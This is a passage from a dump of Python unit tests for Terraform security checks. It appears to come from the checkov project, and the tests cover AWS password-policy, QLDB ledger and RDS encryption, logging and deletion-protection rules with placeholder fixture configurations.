    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.PasswordPolicyLowercaseLetter import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPasswordPolicLowerCaseLetter(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {\n            \"minimum_password_length\": [8],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {\n            \"minimum_password_length\": [8],\n            \"require_lowercase_characters\": [False],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {\n            \"minimum_password_length\": [8],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_PasswordPolicyNumber.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.PasswordPolicyNumber import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPasswordPolicyNumber(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [False],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_PasswordPolicyReuse.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.PasswordPolicyReuse import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPasswordPolicyReuse(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n            \"max_password_age\": [89],\n            \"password_reuse_prevention\": [24]\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n            \"max_password_age\": [89],\n            \"password_reuse_prevention\": [4]\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {\n            \"require_numbers\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_another_test(self):\n        conf = {'count': ['True ? 1 : 0}'], 'max_password_age': [0], 'minimum_password_length': [8], 'allow_users_to_change_password': [True], 'hard_expiry': [False], 'password_reuse_prevention': ['${var.password_reuse_prevention}'], 'require_lowercase_characters': [True], 'require_uppercase_characters': [True], 'require_numbers': [True], 'require_symbols': [True]}\n\n        scan_result = check.scan_resource_conf(conf=conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_PasswordPolicySymbol.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.PasswordPolicySymbol import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPasswordPolicySymbol(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [False],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_PasswordPolicyUppercaseLetter.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.PasswordPolicyUppercaseLetter import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestPasswordPolicyUpperCaseLetter(unittest.TestCase):\n\n    def test_success(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_uppercase_characters\": [False],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_on_missing_property(self):\n        resource_conf = {\n            \"minimum_password_length\": [15],\n            \"require_lowercase_characters\": [True],\n            \"require_numbers\": [True],\n            \"require_symbols\": [True],\n            \"allow_users_to_change_password\": [True],\n        }\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_QLDBLedgerDeletionProtection.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.QLDBLedgerDeletionProtection import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestQLDBLedgerDeletionProtection(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_QLDBLedgerDeletionProtection\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_qldb_ledger.default\",\n            \"aws_qldb_ledger.enabled\",\n        }\n        failing_resources = {\n            \"aws_qldb_ledger.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_QLDBLedgerPermissionsMode.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.QLDBLedgerPermissionsMode import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestQLDBLedgerPermissionsMode(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_QLDBLedgerPermissionsMode\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_qldb_ledger.standard\",\n        }\n        failing_resources = {\n            \"aws_qldb_ledger.allow_all\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSCACertIsRecent.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSCACertIsRecent import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSCACertIsRecent(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSCACertIsRecent\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.pass[\\\"rds-ca-rsa2048-g1\\\"]\",\n            \"aws_db_instance.pass[\\\"rds-ca-rsa4096-g1\\\"]\",\n            \"aws_db_instance.pass[\\\"rds-ca-ecc384-g1\\\"]\",\n        }\n        failing_resources = {\n            \"aws_db_instance.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterActivityStreamEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSClusterActivityStreamEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSClusterActivityStreamEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSClusterActivityStreamEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_rds_cluster_activity_stream.pass\",\n        }\n        failing_resources = {\n            \"aws_rds_cluster_activity_stream.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterAuditLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSClusterAuditLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSClusterAuditLogging(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSClusterAuditLogging\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_rds_cluster.pass\",\n            \"aws_rds_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_rds_cluster.fail\",\n            \"aws_rds_cluster.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 5)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterAuroraBacktrack.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSClusterAuroraBacktrack import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSClusterAuroraBacktrack(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_RDSClusterAuroraBacktrack\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_rds_cluster.pass\",\n            \"aws_rds_cluster.pass2\",\n        }\n        failing_resources = {\n            \"aws_rds_cluster.fail\",\n            \"aws_rds_cluster.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterCopyTags.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSClusterCopyTags import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSClusterCopyTags(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSClusterCopyTags\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_rds_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_rds_cluster.fail\",\n            \"aws_rds_cluster.fail2\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterEncrypted.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.RDSClusterEncrypted import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRDSClusterEncrypted(unittest.TestCase):\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_rds_global_cluster\" \"example\" {\n              provider = aws.primary\n            \n              global_cluster_identifier = \"example\"\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_global_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_explicit(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_rds_global_cluster\" \"example\" {\n              provider = aws.primary\n            \n              global_cluster_identifier = \"example\"\n              storage_encrypted         = false\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_global_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_rds_global_cluster\" \"example\" {\n              provider = aws.primary\n            \n              global_cluster_identifier = \"example\"\n              storage_encrypted         = true\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_global_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_with_source_db_cluster_identifier(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_rds_global_cluster\" \"example\" {\n              provider = aws.primary\n            \n              global_cluster_identifier = \"example\"\n              source_db_cluster_identifier = \"some_arn\"\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_global_cluster']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSClusterEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSClusterEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSClusterEncryptedWithCMK\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_rds_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_rds_cluster.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterIAMAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSClusterIAMAuthentication import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSClusterIAMAuthentication(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSClusterIAMAuthentication\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_rds_cluster.enabled\",\n        }\n        failing_resources = {\n            \"aws_rds_cluster.default\",\n            \"aws_rds_cluster.disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSClusterLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSClusterLogging(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_RDSClusterLogging\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_rds_cluster.pass\",\n        }\n        failing_resources = {\n            \"aws_rds_cluster.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSClusterSnapshotEncrypted.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.RDSClusterSnapshotEncrypted import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRDSClusterSnapshotEncrypted(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_db_cluster_snapshot\" \"example\" {\n              db_cluster_identifier          = aws_rds_cluster.example.id\n              db_cluster_snapshot_identifier = \"resourcetestsnapshot1234\"\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_db_cluster_snapshot']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_db_cluster_snapshot\" \"example\" {\n              db_cluster_identifier          = aws_rds_cluster.example.id\n              db_cluster_snapshot_identifier = \"resourcetestsnapshot1234\"\n              storage_encrypted = false\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_db_cluster_snapshot']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_db_cluster_snapshot\" \"example\" {\n              db_cluster_identifier          = aws_rds_cluster.example.id\n              db_cluster_snapshot_identifier = \"resourcetestsnapshot1234\"\n              storage_encrypted = true\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_db_cluster_snapshot']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSDeletionProtection.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.RDSDeletionProtection import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRDSDeletionProtection(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_rds_cluster\" \"default\" {\n                    cluster_identifier      = \"aurora-cluster-demo\"\n                    availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n                    database_name           = \"mydb\"\n                    master_username         = \"foo\"\n                    master_password         = \"bar\"\n                    backup_retention_period = 5\n                    preferred_backup_window = \"07:00-09:00\"\n                    deletion_protection = false\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_missing_attribute(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_rds_cluster\" \"default\" {\n                    cluster_identifier      = \"aurora-cluster-demo\"\n                    availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n                    database_name           = \"mydb\"\n                    master_username         = \"foo\"\n                    master_password         = \"bar\"\n                    backup_retention_period = 5\n                    preferred_backup_window = \"07:00-09:00\"\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"aws_rds_cluster\" \"default\" {\n                    cluster_identifier      = \"aurora-cluster-demo\"\n                    availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n                    database_name           = \"mydb\"\n                    master_username         = \"foo\"\n                    master_password         = \"bar\"\n                    backup_retention_period = 5\n                    preferred_backup_window = \"07:00-09:00\"\n                    deletion_protection = true\n\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_rds_cluster']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.RDSEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRDSEncryption(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RDSEncryption\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_db_instance.enabled\",\n        }\n        failing_resources = {\n            \"aws_db_instance.default\",\n            \"aws_db_instance.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.RDSEnhancedMonitorEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestRDSEnhancedMonitorEnabled(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_db_instance\" \"default\" {\n  allocated_storage    = 10\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_db_instance\" \"default\" {\n  allocated_storage    = 10\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  skip_final_snapshot  = true\n  monitoring_interval  = 0\n}\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_db_instance']['default']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure3(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_db_instance\" \"default\" {\n  allocated_storage    = 10\n  engine               = \"mysql\"\n  engine_version       = \"5.7\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydb\"\n  username             = \"foo\"\n  password             = \"foobarbaz\"\n  parameter_group_name = \"default.mysql5.7\"\n  